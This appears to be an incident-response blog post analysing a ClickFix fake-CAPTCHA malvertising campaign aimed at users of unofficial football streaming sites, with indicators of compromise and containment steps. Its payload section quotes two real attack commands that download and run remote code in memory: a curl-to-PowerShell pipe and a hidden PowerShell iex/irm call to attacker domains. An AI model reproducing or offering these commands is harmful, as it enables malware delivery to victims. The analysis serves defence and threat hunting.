From Free Kicks to Fileless Malware: Deconstructing a ClickFix Campaign

It’s match day. A user wants to catch a football stream, browses to an unofficial site, and within minutes, their system is running fileless malware directly in memory.

This isn't a drill—it's a real-world ClickFix (fake CAPTCHA) incident we recently triaged. Here is how a quick search for a game leads to a compromised host, and how to stop it.

ClickFix threats hack the human, not the software. Instead of coding complex exploits, attackers use fake CAPTCHAs or browser errors to panic users into compromising their own systems.

Here is how this stealthy tactic works:

• The Clipboard Trap: Background JavaScript quietly slips an obfuscated command onto the victim's clipboard.

• Self-Infection: The user is tricked into opening a terminal or Windows Run box and pasting the code to "fix" the error.

• Fileless Execution: Native tools like PowerShell execute the payload directly in memory. Because it mimics legitimate administrative work, it completely blinds standard antivirus and EDR.
  

We must understand ClickFix because it completely flips the script on network defense—adversaries are weaponizing simple user panic to bypass millions of dollars in security tooling and drop deep-network implants. The Hook: Malvertising & Social Engineering

Telemetry showed the user browsing unofficial streaming sites like sportslive[.]wine and footballontv[.]live.

A malicious ad redirected them to a fake verification page disguised as a Google or Cloudflare CAPTCHA. The page instructed the user to copy a command string and run it via the Windows Run box or terminal. The user did exactly that, ignoring a warning from Windows SmartScreen.

The Payloads: Living off the Land

The copied string used Living-off-the-Land (LotL) techniques—native Windows binaries executing code entirely in memory to evade legacy antivirus. We observed two distinct variants in this campaign:

Variant 1: Curl-to-PowerShell Pipe

Spawns a minimized command window to silently fetch and execute a second-stage script:

Bash

cmd.exe /c start "" /min cmd.exe /c "curl.exe https://tommy-aa[.]lol/f | powershell.exe"

Variant 2: Hidden In-Memory Execution

Uses a hidden PowerShell window (-w h) to download and immediately execute a payload via an Inline Expression (iex), masked as a fake verification ID:

PowerShell

powershell -w h "iex(irm 'auth-id-browser.info/215633dfe3c9b830' -UseBasicParsing)"; exit <#Verification ID: 215633dfe3c9b830#>

Both methods bypass the disk entirely, executing straight into the system's memory architecture.

Indicators of Compromise (IoCs)

The secondary infrastructure maps back to IP 178.16.52[.]101, a known threat intelligence indicator associated with targeted malvertising and C2 routing.

Type	Value	Role
Domain	monteiro[.]click	Initial malicious ClickFix landing page
Domain	sportslive[.]wine	Unofficial streaming lure site
Domain	tommy-aa[.]lol	Payload delivery server
Domain	auth-code-verif[.]beer	Attacker traffic redirect
Domain	auth-id-browser.info	C2 / Command execution endpoint
IP	178.16.52[.]101	Active C2 hosting infrastructure

Action Plan

Gold Standard: Re-image the host. Because payloads execute directly in memory and shift dynamically, a clean OS install is the only way to guarantee remediation.

If an immediate wipe isn't operationally possible, execute these containment steps before returning the host to the network:

• Identity Eviction: Reset the user’s Active Directory and M365 credentials. Revoke and refresh all active authentication tokens and active sessions.

• Nuke Browser Data: Perform a clean reinstallation of all web browsers. Audit cloud-synced user profiles to wipe unauthorized extensions, notifications, and site permissions.

• Perimeter Blocks: Block tommy-aa[.]lol, monteiro[.]click, and 178.16.52[.]101 at your firewall and DNS gateway layers.

• User Training: Interview the user to map out the exact sequence, then reinforce security awareness training. Remind teams that legitimate verification setups will never ask them to paste code into a command prompt. ClickFix, Fake CAPTCHA, Fileless Malware, Living off the Land, LotL, PowerShell Malware, Social Engineering, Incident Response, Cybersecurity, Threat Intelligence, EDR Evasion, Malvertising, Command Execution, Endpoint Security, Network Defense, Threat Hunting, IOCs, Cyber Defense, Malware Analysis, Browser Hijacking